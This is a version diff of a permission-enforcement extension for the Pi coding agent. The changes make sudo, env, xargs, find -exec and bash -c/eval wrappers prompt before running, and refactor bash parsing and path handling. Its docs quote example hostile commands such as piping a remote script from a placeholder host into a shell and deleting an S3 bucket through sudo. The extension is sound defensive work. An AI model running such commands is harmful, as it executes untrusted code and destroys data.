@gotgenes/pi-permission-system 20.3.0 → 20.4.1

package/CHANGELOG.md

@@ -5,6 +5,34 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [20.4.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.4.0...pi-permission-system-v20.4.1) (2026-07-12)
+
+
+### Bug Fixes
+
+* **pi-permission-system:** floor find/fd exec wrappers to ask ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([6cb1d54](https://github.com/gotgenes/pi-packages/commit/6cb1d5422682894a3f742af9b4769d8ef8c40ed8))
+* **pi-permission-system:** floor sudo/env/xargs/time/nohup/timeout/nice to ask ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([b4d5c40](https://github.com/gotgenes/pi-packages/commit/b4d5c40985e4921d3ab1037ba3b273b6fa2fbd59))
+
+
+### Documentation
+
+* **pi-permission-system:** document indirection-wrapper floor and mark roadmap step 5 ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([e35c1ee](https://github.com/gotgenes/pi-packages/commit/e35c1ee622f847a9096699495502e36064cae96e))
+
+## [20.4.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.3.0...pi-permission-system-v20.4.0) (2026-07-12)
+
+
+### Features
+
+* **pi-permission-system:** add bash advisory decompose-or-fallback resolver ([e0637f1](https://github.com/gotgenes/pi-packages/commit/e0637f150d5ae0dcb16b92ccaa8520367636cc3c))
+* **pi-permission-system:** add warm tree-sitter parser and sync bash-command parse ([66470f0](https://github.com/gotgenes/pi-packages/commit/66470f084e639e4c7282d4a8e49b3fd6937bcb9e))
+* **pi-permission-system:** decompose advisory bash checkPermission at gate parity ([d8d7ef0](https://github.com/gotgenes/pi-packages/commit/d8d7ef010263b831e512dc26e97dde5bb93c5337))
+* **pi-permission-system:** warm bash parser on before_agent_start ([509c597](https://github.com/gotgenes/pi-packages/commit/509c597ffcf24bb9ef8af64ba91b7ae849ad02a8))
+
+
+### Documentation
+
+* **pi-permission-system:** document advisory bash decomposition and complete roadmap step 4 ([aeb8633](https://github.com/gotgenes/pi-packages/commit/aeb86330f0f7b179796879f3fe4abc1a3642a57d))
+
 ## [20.3.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.2.0...pi-permission-system-v20.3.0) (2026-07-09)
 
 

package/README.md

@@ -19,7 +19,7 @@ Permission enforcement extension for the [Pi](https://pi.mariozechner.at/) codin
 - **Gates MCP and skill access** at server, tool, and skill-name granularity
 - **Protects sensitive file patterns** — cross-cutting `path` rules deny `.env`, `~/.ssh/*`, etc. across all tools and bash at once, matching both the path as referenced and its symlink-resolved form so a deny cannot be evaded through a symlink alias
 - **Guards external paths** — prompts before file tools or bash commands reach outside `cwd`
-- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry), and an unparseable bash command — or an opaque `bash -c`/`eval` wrapper — prompts (`ask`) rather than passing silently
+- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry), and an unparseable bash command — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently
 - **Forwards prompts from subagents** — `ask` policies work even in non-UI execution contexts
 - **Broadcasts UI prompt events** — `permissions:ui_prompt` fires only when the permission system is about to invoke the active user-facing permission UI
 - **Native [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) integration** — in-process child sessions register with the permission system automatically, enabling per-agent policy enforcement and `ask`-state forwarding to the parent UI without configuration

package/docs/configuration.md

@@ -271,6 +271,9 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
 - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
   An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
   So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
+- An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
+  So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
+  As with the opaque floor, there is no way to auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
 
 Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
 A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.

package/docs/cross-extension-api.md

@@ -90,6 +90,10 @@ Returns `PermissionCheckResult` with fields `state`, `matchedPattern`, `source`,
 
 For a path-shaped surface (`path`, `external_directory`, or a path-bearing tool — `read`/`write`/`edit`/`grep`/`find`/`ls`), the supplied `value` is matched against both the path as given and its canonical (symlink-resolved) form, at parity with the gates — so a query for a symlinked path matches a rule on its real target.
 
+For the `bash` surface, a `value` containing a chained or nested command (joined by `&&`, `||`, `;`, `|`, `&`, or newlines, or nested in a command substitution/subshell) is decomposed into its command-pattern units and resolved most-restrictive (`deny` > `ask` > `allow`), at parity with the enforcement gate — so `cd /repo && npm install x` returns the decision of the `npm install x` unit, not the leading `cd`.
+A previously chained command that returned `allow` (riding an allowed leading command) may therefore now return `deny`/`ask`.
+Decomposition needs the tree-sitter parser, which is warmed at `before_agent_start` (before any tool call); a bash query in the brief pre-warm window falls back to a whole-string match, so the answer is never weaker than the gate — only strengthened once warm.
+
 #### `getToolPermission`
 
 Returns `"allow"` | `"deny"` | `"ask"` for a tool name without considering command-level rules.

package/docs/subagent-integration.md

@@ -3,11 +3,11 @@
 ## Native integration with `@gotgenes/pi-subagents`
 
 [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) is the only subagent extension with native permission-system integration.
-It publishes a child-execution lifecycle on `pi.events`; this package subscribes (see `src/subagent-lifecycle-events.ts`) and registers every in-process child session with the `SubagentSessionRegistry` on the `subagents:child:session-created` event — emitted before `bindExtensions()` fires — and unregisters it on `subagents:child:disposed`.
+It publishes a child-execution lifecycle on `pi.events`; this package subscribes (see `src/authority/subagent-lifecycle-events.ts`) and registers every in-process child session with the `SubagentSessionRegistry` on the `subagents:child:session-created` event — emitted before `bindExtensions()` fires — and unregisters it on `subagents:child:disposed`.
 Because the event bus dispatches synchronously, the synchronous registration completes before binding proceeds.
 This inverts the former dependency direction: the core no longer looks up this package's service ([ADR-0002] / pi-subagents [#261]).
 
-The `SubagentSessionRegistry` is backed by a process-global singleton (`globalThis` + `Symbol.for()`), accessed via `getSubagentSessionRegistry()` in `src/subagent-registry.ts`.
+The `SubagentSessionRegistry` is backed by a process-global singleton (`globalThis` + `Symbol.for()`), accessed via `getSubagentSessionRegistry()` in `src/authority/subagent-registry.ts`.
 This is necessary because each session's `ResourceLoader` creates its own `pi.events` bus: the parent emits `subagents:child:session-created` on the parent's bus, and only the parent's permission-system instance receives it.
 The child's jiti instance runs on a separate bus and never receives the event — but because both instances call `getSubagentSessionRegistry()`, they share the same store, so the parent's registration is visible to the child.
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@gotgenes/pi-permission-system",
-  "version": "20.3.0",
+  "version": "20.4.1",
   "description": "Permission enforcement extension for the Pi coding agent.",
   "type": "module",
   "exports": {

package/src/access-intent/access-path.ts

@@ -1,3 +1,5 @@
+import type { PathFlavor } from "#src/path/path-flavor";
+
 import {
   canonicalNormalizePathForComparison,
   getPathPolicyValues,
@@ -103,13 +105,13 @@ export class AccessPath {
    */
   static forPath(
     pathValue: string,
-    options: { cwd: string; resolveBase?: string; platform: NodeJS.Platform },
+    options: { cwd: string; resolveBase?: string; flavor: PathFlavor },
   ): AccessPath {
-    const { cwd, resolveBase = cwd, platform } = options;
+    const { cwd, resolveBase = cwd, flavor } = options;
     return new AccessPath(
-      normalizePathForComparison(pathValue, resolveBase, platform),
-      getPathPolicyValues(pathValue, { cwd, resolveBase }, platform),
-      canonicalNormalizePathForComparison(pathValue, resolveBase, platform),
+      normalizePathForComparison(pathValue, resolveBase, flavor),
+      getPathPolicyValues(pathValue, { cwd, resolveBase }, flavor),
+      canonicalNormalizePathForComparison(pathValue, resolveBase, flavor),
     );
   }
 

package/src/access-intent/bash/bash-path-resolver.ts

@@ -440,11 +440,10 @@ export class BashPathResolver {
   ): BashPathRuleCandidate[] {
     const seen = new Set<string>();
     const result: BashPathRuleCandidate[] = [];
-    const windowsSeparators = this.normalizer.usesWindowsSeparators();
 
     for (const { token, base } of candidates) {
       const candidate =
-        classifyTokenAsRuleCandidate(token, { windowsSeparators }) ??
+        classifyTokenAsRuleCandidate(token, this.normalizer.flavor) ??
         classifyPromotedRuleCandidate(token, this.isPromotablePathToken);
       if (!candidate) continue;
 

package/src/access-intent/bash/command-enumeration.ts

@@ -11,6 +11,16 @@ import type { BashCommandContext } from "#src/types";
  * The type is the stable extension point: #306 adds an execution `context`,
  * #307 adds per-command path candidates and an effective working directory.
  */
+/**
+ * Why a command unit's decision is floored to at least `ask`.
+ * `"opaque-payload"` — an inline-shell payload (`bash -c`/`eval`) whose inner
+ * program is not re-parsed (#481).
+ * `"indirection"` — a prefix/exec wrapper (`sudo`/`env`/`xargs`/`find -exec`/…)
+ * whose inner command is a visible argument but is not gated on its own (#490).
+ * The kind selects the audit sentinel; both floor identically.
+ */
+export type WrapperKind = "opaque-payload" | "indirection";
+
 export interface BashCommand {
   readonly text: string;
   /**
@@ -19,11 +29,11 @@ export interface BashCommand {
    */
   readonly context?: BashCommandContext;
   /**
-   * True when this is an opaque-payload wrapper (`bash -c`/`eval`) whose inner
-   * program is not re-parsed; its decision is floored to at least `ask` so it
-   * cannot ride a permissive `allow`.
+   * Set when this unit is a floored indirection wrapper; its decision is floored
+   * to at least `ask` so the wrapped command cannot ride a permissive `allow`.
+   * Absent for an ordinary command.
    */
-  readonly opaque?: boolean;
+  readonly wrapperKind?: WrapperKind;
 }
 
 // ── Command enumeration ──────────────────────────────────────────────────────
@@ -83,7 +93,9 @@ const NESTED_EXECUTION_CONTEXTS = new Map<string, BashCommandContext>([
  * nested units can only ever produce a more-restrictive decision, never weaker.
  *
  * Each emitted command unit has any leading `variable_assignment` prefix
- * stripped (so an env-var prefix cannot defeat a command-pattern rule).
+ * stripped (so an env-var prefix cannot defeat a command-pattern rule), and a
+ * wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
+ * tagged with a {@link WrapperKind} so its decision is later floored to `ask`.
  */
 export function collectCommands(node: TSNode): BashCommand[] {
   const out: BashCommand[] = [];
@@ -103,7 +115,7 @@ function collectCommandsInto(
 
   if (node.type === "command") {
     out.push(
-      makeUnit(commandUnitText(node), context, isOpaqueWrapperCommand(node)),
+      makeUnit(commandUnitText(node), context, classifyWrapperCommand(node)),
     );
     // A command's text already contains any substitution; descend its subtree
     // to ALSO emit the inner commands of command/process substitutions.
@@ -130,10 +142,10 @@ function collectCommandsInto(
 function makeUnit(
   text: string,
   context: BashCommandContext | undefined,
-  opaque = false,
+  wrapperKind?: WrapperKind,
 ): BashCommand {
   const unit: BashCommand = context ? { text, context } : { text };
-  return opaque ? { ...unit, opaque } : unit;
+  return wrapperKind ? { ...unit, wrapperKind } : unit;
 }
 
 /**
@@ -142,18 +154,71 @@ function makeUnit(
 const SHELL_WRAPPER_NAMES = new Set(["bash", "sh", "dash", "zsh", "ksh"]);
 
 /**
- * True when a `command` node is an opaque-payload wrapper: a shell
- * (`bash`/`sh`/`dash`/`zsh`/`ksh`) invoked with a `-c` flag, or `eval`. Its
- * inner program is a quoted argument the enumerator does not re-parse, so the
- * wrapper's decision is later floored to at least `ask`.
+ * Indirection wrappers that always invoke a following command, so the wrapper
+ * (not the inner command) is what a bash rule matches. Floored by command-name
+ * basename alone. Extend this set to cover another always-invoking wrapper.
+ */
+const INDIRECTION_WRAPPER_NAMES = new Set([
+  "sudo",
+  "env",
+  "xargs",
+  "time",
+  "nohup",
+  "timeout",
+  "nice",
+]);
+
+/**
+ * Search tools that invoke a command per result only when an exec flag is
+ * present; a bare search runs no subcommand. Floored only when an argument
+ * exactly matches one of the tool's exec flags. Extend by adding a tool with
+ * its exec-flag set.
+ */
+const EXEC_CONDITIONAL_WRAPPERS = new Map<string, ReadonlySet<string>>([
+  ["find", new Set(["-exec", "-execdir", "-ok", "-okdir"])],
+  ["fd", new Set(["-x", "--exec", "-X", "--exec-batch"])],
+]);
+
+/**
+ * Classify a `command` node as a floored wrapper, or `undefined` for an
+ * ordinary command. Reads only the node's own named children (a shallow walk),
+ * skipping any leading `variable_assignment` prefix, and matches the command
+ * name on its basename (so `/bin/bash -c …` counts).
  *
- * The command name is matched on its basename (so `/bin/bash -c …` counts), and
- * a `-c` flag is recognized within a short-flag cluster (`-c`, `-ec`, `-xc`).
- * A leading `variable_assignment` prefix is skipped, matching `commandUnitText`.
+ * `"opaque-payload"`: `eval`, or a shell (`bash`/`sh`/`dash`/`zsh`/`ksh`) with a
+ * `-c` short-flag cluster (`-c`, `-ec`, `-xc`) — the inner program is a quoted
+ * argument the enumerator does not re-parse (#481).
+ *
+ * `"indirection"`: an always-invoking prefix/exec wrapper
+ * (`INDIRECTION_WRAPPER_NAMES`), or a search tool (`EXEC_CONDITIONAL_WRAPPERS`,
+ * `find`/`fd`) carrying a per-result exec flag — the inner command is a visible
+ * argument that a `<cmd> *` rule would otherwise never match (#490). A bare
+ * `find`/`fd` search runs no subcommand and is not flagged.
+ */
+function classifyWrapperCommand(node: TSNode): WrapperKind | undefined {
+  const { commandName, args } = readWrapperCommand(node);
+  if (commandName === undefined) return undefined;
+  if (commandName === "eval") return "opaque-payload";
+  if (SHELL_WRAPPER_NAMES.has(commandName) && hasShortFlagC(args)) {
+    return "opaque-payload";
+  }
+  if (INDIRECTION_WRAPPER_NAMES.has(commandName)) return "indirection";
+  const execFlags = EXEC_CONDITIONAL_WRAPPERS.get(commandName);
+  if (execFlags && args.some((arg) => execFlags.has(arg))) return "indirection";
+  return undefined;
+}
+
+/**
+ * A `command` node's name basename and its argument texts, skipping any leading
+ * `variable_assignment` prefix (matching `commandUnitText`). `commandName` is
+ * `undefined` for a pure assignment with no `command_name`.
  */
-function isOpaqueWrapperCommand(node: TSNode): boolean {
+function readWrapperCommand(node: TSNode): {
+  commandName: string | undefined;
+  args: string[];
+} {
   let commandName: string | undefined;
-  let sawShortFlagC = false;
+  const args: string[] = [];
   for (let i = 0; i < node.childCount; i++) {
     const child = node.child(i);
     if (!child?.isNamed) continue;
@@ -162,15 +227,24 @@ function isOpaqueWrapperCommand(node: TSNode): boolean {
       commandName = basename(child.text);
       continue;
     }
-    const text = child.text;
-    if (text === "--") break;
-    if (text.startsWith("-") && !text.startsWith("--") && text.includes("c")) {
-      sawShortFlagC = true;
+    args.push(child.text);
+  }
+  return { commandName, args };
+}
+
+/**
+ * True when an argument list has a short-flag cluster containing `c` before any
+ * `--` end-of-options marker (`-c`, `-ec`, `-xc`) — the inline-shell payload
+ * flag for `bash`/`sh`/`dash`/`zsh`/`ksh`.
+ */
+function hasShortFlagC(args: string[]): boolean {
+  for (const arg of args) {
+    if (arg === "--") return false;
+    if (arg.startsWith("-") && !arg.startsWith("--") && arg.includes("c")) {
+      return true;
     }
   }
-  if (commandName === undefined) return false;
-  if (commandName === "eval") return true;
-  return SHELL_WRAPPER_NAMES.has(commandName) && sawShortFlagC;
+  return false;
 }
 
 /** The final path segment of a command name (`/bin/bash` → `bash`). */

package/src/access-intent/bash/msys-bash-tokens.ts

@@ -22,7 +22,7 @@ import { isSafeSystemPath } from "#src/safe-system-paths";
  * - `plain` — everything else (relative tokens, `~/…`, native Windows drive
  *   paths); handled by ordinary win32 resolution.
  */
-export type Win32BashTokenKind =
+export type BashTokenShape =
   | { kind: "device" }
   | { kind: "drive-mount"; windowsPath: string }
   | { kind: "posix-absolute" }
@@ -36,7 +36,7 @@ export type Win32BashTokenKind =
  */
 const MSYS_DRIVE_MOUNT_PATTERN = /^\/([a-zA-Z])(\/.*)?$/;
 
-export function classifyWin32BashToken(token: string): Win32BashTokenKind {
+export function classifyWin32BashToken(token: string): BashTokenShape {
   if (isSafeSystemPath(token)) return { kind: "device" };
 
   const driveMatch = MSYS_DRIVE_MOUNT_PATTERN.exec(token);

package/src/access-intent/bash/parser.ts

@@ -42,3 +42,42 @@ async function initParser(): Promise<TSParser> {
 // (e.g. a slow WASM load) is retried on the next tool call instead of poisoning
 // the parser for the process lifetime.
 export const getParser = memoizeAsyncWithRetry(initParser);
+
+// Resolved parser cached for synchronous access after warm-up. The tree-sitter
+// parser is stateless (parse is a pure function of its input), so caching it at
+// module scope is safe even though module state now persists across same-cwd
+// session switches.
+let warmedParser: TSParser | null = null;
+
+/**
+ * Warm the tree-sitter parser so {@link getWarmBashParser} can hand it out
+ * synchronously. Triggered at `before_agent_start` (which precedes any tool
+ * call) so the synchronous advisory bash path can decompose at gate parity
+ * (#309).
+ *
+ * Best-effort and idempotent: it swallows a WASM init failure (the sync
+ * accessor stays cold and callers fall back to whole-string matching), and it
+ * returns immediately once warm, so calling it every turn is free.
+ */
+export async function warmBashParser(): Promise<void> {
+  if (warmedParser) return;
+  try {
+    warmedParser = await getParser();
+  } catch {
+    // Leave cold → advisory bash queries fall back to whole-string matching.
+    // getParser's own retry memoization re-attempts init on the next call.
+  }
+}
+
+/**
+ * The warmed parser for synchronous use, or `null` when it has not been warmed
+ * yet (the pre-warm window). Callers that get `null` must degrade gracefully.
+ */
+export function getWarmBashParser(): TSParser | null {
+  return warmedParser;
+}
+
+/** Test-only: clear the warmed-parser cache so cold/warm cases are isolatable. */
+export function resetWarmBashParser(): void {
+  warmedParser = null;
+}

package/src/access-intent/bash/program.ts

@@ -75,9 +75,9 @@ export class BashProgram {
    * Splits on the shell chain operators (`&&`, `||`, `;`, `|`, `&`, newlines);
    * quotes, command substitution, and subshells are respected by the parser and
    * are NOT split — a subshell or other compound statement is emitted whole.
-   * Each unit has any leading `variable_assignment` prefix stripped, and an
-   * opaque-payload wrapper (`bash -c`/`eval`) is flagged `opaque` so its decision
-   * is floored to `ask`.
+   * Each unit has any leading `variable_assignment` prefix stripped, and a
+   * wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
+   * tagged with a `wrapperKind` so its decision is floored to `ask`.
    * May be empty (e.g. an empty command or a comment-only line); callers fall
    * back to the whole command so the surface is never evaluated weaker than
    * before.

package/src/access-intent/bash/sync-commands.ts

@@ -0,0 +1,31 @@
+import {
+  type BashCommand,
+  collectCommands,
+} from "#src/access-intent/bash/command-enumeration";
+import { getWarmBashParser } from "#src/access-intent/bash/parser";
+
+/**
+ * Synchronously enumerate the command-pattern units of a bash command using the
+ * warmed tree-sitter parser.
+ *
+ * Returns `null` when the parser has not been warmed yet (the pre-warm window),
+ * so the caller can fall back to whole-string matching rather than block. Once
+ * warm it mirrors the enumeration the gate performs (`BashProgram.commands()`):
+ * chains split, nested substitutions/subshells descend, opaque wrappers flagged
+ * (#306). Only the command-pattern surface is produced — no path slices, so no
+ * `PathNormalizer` is needed.
+ *
+ * An unparseable command yields an empty array (the caller's decompose path
+ * fails it closed via `resolveBashCommandCheck`, #452).
+ */
+export function parseBashCommandsSync(command: string): BashCommand[] | null {
+  const parser = getWarmBashParser();
+  if (!parser) return null;
+  const tree = parser.parse(command);
+  if (!tree) return [];
+  try {
+    return collectCommands(tree.rootNode);
+  } finally {
+    tree.delete();
+  }
+}

package/src/access-intent/bash/token-classification.ts

@@ -19,14 +19,15 @@
  * the absolute-path branch. Shape recognition is platform-independent string
  * matching; the platform-sensitive absoluteness decision belongs to `PathNormalizer`.
  *
- * `classifyTokenAsRuleCandidate` also accepts a `RuleCandidateOptions.windowsSeparators`
- * flag: when `true`, a backslash-relative token (`dir\file`, no leading `.`, no
- * `/`, no `..`, not a drive-letter absolute) is accepted as path-shaped (#520).
- * This is the one genuinely platform-sensitive shape rule the classifier owns —
- * on POSIX `\` is a legal filename character, so the caller (`BashPathResolver`)
- * derives the flag from `PathNormalizer.usesWindowsSeparators()` rather than the
- * classifier reading `process.platform` itself.
+ * `classifyTokenAsRuleCandidate` takes the resolved {@link PathFlavor}: a
+ * backslash-relative token (`dir\file`, no leading `.`, no `/`, no `..`, not a
+ * drive-letter absolute) is accepted as path-shaped only under the win32 flavor,
+ * whose `hasPathSeparator` counts `\` as a separator (#520). This is the one
+ * genuinely platform-sensitive shape rule the classifier owns — on POSIX `\` is
+ * a legal filename character — and the flavor owns the bit, so the classifier
+ * never reads `process.platform` itself.
  */
+import type { PathFlavor } from "#src/path/path-flavor";
 import type { PathRuleTokenMatcher } from "#src/types";
 
 // ── Public classifiers ─────────────────────────────────────────────────────
@@ -53,36 +54,22 @@ export function classifyTokenAsPathCandidate(token: string): string | null {
   return null;
 }
 
-/**
- * Platform-sensitive options for {@link classifyTokenAsRuleCandidate}.
- */
-export interface RuleCandidateOptions {
-  /**
-   * True when the host platform treats `\` as a path separator (win32), so a
-   * backslash-relative token (`dir\file`) is accepted as path-shaped (#520).
-   * On POSIX `\` is a legal filename character, so omit this (or pass
-   * `false`) to keep such a token bare.
-   */
-  readonly windowsSeparators?: boolean;
-}
-
 /**
  * Broader token classifier for cross-cutting `path` permission rules.
  *
  * Accepts the same shapes as `classifyTokenAsPathCandidate`, plus:
  * - Dot-files and `./`-relative paths (starting with `.`)
- * - Any relative path containing `/` (e.g. `src/foo.ts`)
+ * - Any token carrying a path separator under `flavor` (`src/foo.ts`, and on
+ *   win32 the backslash-relative `dir\file`, #520) — `flavor.hasPathSeparator`
+ *   owns the platform bit (POSIX: `/` only; win32: `/` or `\`), so this
+ *   classifier never reads `process.platform`.
  * - Windows drive-letter absolute paths (`C:/…` or `C:\…`)
- * - A backslash-relative token (`dir\file`) when `options.windowsSeparators`
- *   is `true` (#520) — the caller (`BashPathResolver`) derives this from
- *   `PathNormalizer.usesWindowsSeparators()` so the platform bit has a single
- *   home; this classifier never reads `process.platform`.
  *
- * The `~/foo` case is covered by `includes("/")` — no separate `~/` branch needed.
- * The forward-slash drive form (`C:/…`) is also caught by `includes("/")`, but the
+ * The `~/foo` case is covered by `hasPathSeparator` — no separate `~/` branch needed.
+ * The forward-slash drive form (`C:/…`) is also caught by `hasPathSeparator`, but the
  * explicit `WINDOWS_DRIVE_PATH_PATTERN` branch makes both separator forms first-class
- * and order-independent, and covers the backslash-only form (`D:\…`) which `includes("/")`
- * cannot reach.
+ * and order-independent, and covers the backslash-only form (`D:\…`) which the POSIX
+ * flavor's `hasPathSeparator` cannot reach.
  *
  * Does NOT require the strict "must start with `/` or `~/` or contain `..`"
  * gate that the external-directory classifier uses.
@@ -91,15 +78,14 @@ export interface RuleCandidateOptions {
  */
 export function classifyTokenAsRuleCandidate(
   token: string,
-  options?: RuleCandidateOptions,
+  flavor: PathFlavor,
 ): string | null {
   if (rejectNonPathToken(token)) return null;
 
   if (token.startsWith(".")) return token;
-  if (token.includes("/")) return token; // covers ~/ paths and all relative paths with /
+  if (flavor.hasPathSeparator(token)) return token; // ~/ paths, relative paths with /, and win32 dir\file
   if (token.includes("..")) return token; // bare ".." (no slash)
   if (WINDOWS_DRIVE_PATH_PATTERN.test(token)) return token; // backslash-only drive form
-  if (options?.windowsSeparators && token.includes("\\")) return token;
 
   return null;
 }

package/src/access-intent/path-normalization.ts

@@ -1,35 +1,21 @@
-import { posix as posixPath, win32 as winPath } from "node:path";
-
-import { canonicalizePath } from "#src/canonicalize-path";
 import { expandHomePath } from "#src/expand-home";
-import { isPathWithinDirectory } from "#src/path-containment";
+import { canonicalizePath } from "#src/path/canonicalize-path";
+import type { PathFlavor } from "#src/path/path-flavor";
 
 /**
  * Representation derivation backing {@link AccessPath}: turn an accessed path
  * into the lexical / canonical / policy-value forms the resolver matches
  * against rules. Pure (no filesystem access except `canonicalizePath`'s
- * best-effort symlink resolution); the `platform` is injected, never read
- * ambiently.
+ * best-effort symlink resolution); the platform's path semantics arrive as an
+ * injected {@link PathFlavor}, never read ambiently.
  */
 export function normalizePathForComparison(
   pathValue: string,
-  cwd: string,
-  platform: NodeJS.Platform,
+  base: string,
+  flavor: PathFlavor,
 ): string {
-  const trimmed = pathValue.trim().replace(/^['"]|['"]$/g, "");
-  if (!trimmed) {
-    return "";
-  }
-
-  let normalizedPath = trimmed.startsWith("@") ? trimmed.slice(1) : trimmed;
-  normalizedPath = expandHomePath(normalizedPath);
-
-  const impl = platform === "win32" ? winPath : posixPath;
-  const absolutePath = impl.resolve(cwd, normalizedPath);
-  const normalizedAbsolutePath = impl.normalize(absolutePath);
-  return platform === "win32"
-    ? normalizedAbsolutePath.toLowerCase()
-    : normalizedAbsolutePath;
+  const cleaned = normalizePathPolicyLiteral(pathValue);
+  return cleaned ? flavor.comparable(cleaned, base) : "";
 }
 
 export interface PathPolicyValueOptions {
@@ -49,9 +35,9 @@ export interface PathPolicyValueOptions {
  * Normalize a single path-like lookup value without resolving it against CWD.
  *
  * Preserves compatibility with existing relative path rules (`src/*`, `*.env`)
- * while applying the same lexical cleanup as
- * {@link normalizePathForComparison}: trim, strip simple wrapping quotes,
- * strip the OpenCode-style leading `@`, and expand `~` / `$HOME`.
+ * while applying the lexical cleanup {@link normalizePathForComparison} shares:
+ * trim, strip simple wrapping quotes, strip the OpenCode-style leading `@`, and
+ * expand `~` / `$HOME`.
  */
 export function normalizePathPolicyLiteral(pathValue: string): string {
   const trimmed = pathValue.trim().replace(/^['"]|['"]$/g, "");
@@ -70,7 +56,7 @@ export function normalizePathPolicyLiteral(pathValue: string): string {
 export function getPathPolicyValues(
   pathValue: string,
   options: PathPolicyValueOptions,
-  platform: NodeJS.Platform,
+  flavor: PathFlavor,
 ): string[] {
   const literal = normalizePathPolicyLiteral(pathValue);
   if (!literal) return [];
@@ -78,7 +64,7 @@ export function getPathPolicyValues(
 
   return [
     ...new Set([
-      ...getAbsolutePathPolicyValues(pathValue, options, platform),
+      ...getAbsolutePathPolicyValues(pathValue, options, flavor),
       literal,
     ]),
   ];
@@ -87,38 +73,34 @@ export function getPathPolicyValues(
 function getAbsolutePathPolicyValues(
   pathValue: string,
   options: PathPolicyValueOptions,
-  platform: NodeJS.Platform,
+  flavor: PathFlavor,
 ): string[] {
   const resolveBase = options.resolveBase ?? options.cwd;
   if (!resolveBase) return [];
 
-  const absolute = normalizePathForComparison(pathValue, resolveBase, platform);
+  const absolute = normalizePathForComparison(pathValue, resolveBase, flavor);
   if (!absolute) return [];
 
   return [
     absolute,
-    ...getCwdRelativePathPolicyValues(absolute, options.cwd, platform),
+    ...getCwdRelativePathPolicyValues(absolute, options.cwd, flavor),
   ];
 }
 
 function getCwdRelativePathPolicyValues(
   absolute: string,
   cwd: string | undefined,
-  platform: NodeJS.Platform,
+  flavor: PathFlavor,
 ): string[] {
   if (!cwd) return [];
 
-  const normalizedCwd = normalizePathForComparison(cwd, cwd, platform);
+  const normalizedCwd = normalizePathForComparison(cwd, cwd, flavor);
   if (!normalizedCwd) return [];
-  if (
-    absolute !== normalizedCwd &&
-    !isPathWithinDirectory(absolute, normalizedCwd, platform)
-  ) {
+  if (absolute !== normalizedCwd && !flavor.isWithin(absolute, normalizedCwd)) {
     return [];
   }
 
-  const impl = platform === "win32" ? winPath : posixPath;
-  const relativeValue = impl.relative(normalizedCwd, absolute);
+  const relativeValue = flavor.impl.relative(normalizedCwd, absolute);
   return relativeValue ? [relativeValue] : [];
 }
 
@@ -129,11 +111,10 @@ function getCwdRelativePathPolicyValues(
  */
 export function canonicalNormalizePathForComparison(
   pathValue: string,
-  cwd: string,
-  platform: NodeJS.Platform,
+  base: string,
+  flavor: PathFlavor,
 ): string {
-  const lexical = normalizePathForComparison(pathValue, cwd, platform);
+  const lexical = normalizePathForComparison(pathValue, base, flavor);
   if (!lexical) return "";
-  const canonical = canonicalizePath(lexical, platform);
-  return platform === "win32" ? canonical.toLowerCase() : canonical;
+  return flavor.fold(canonicalizePath(lexical, flavor));
 }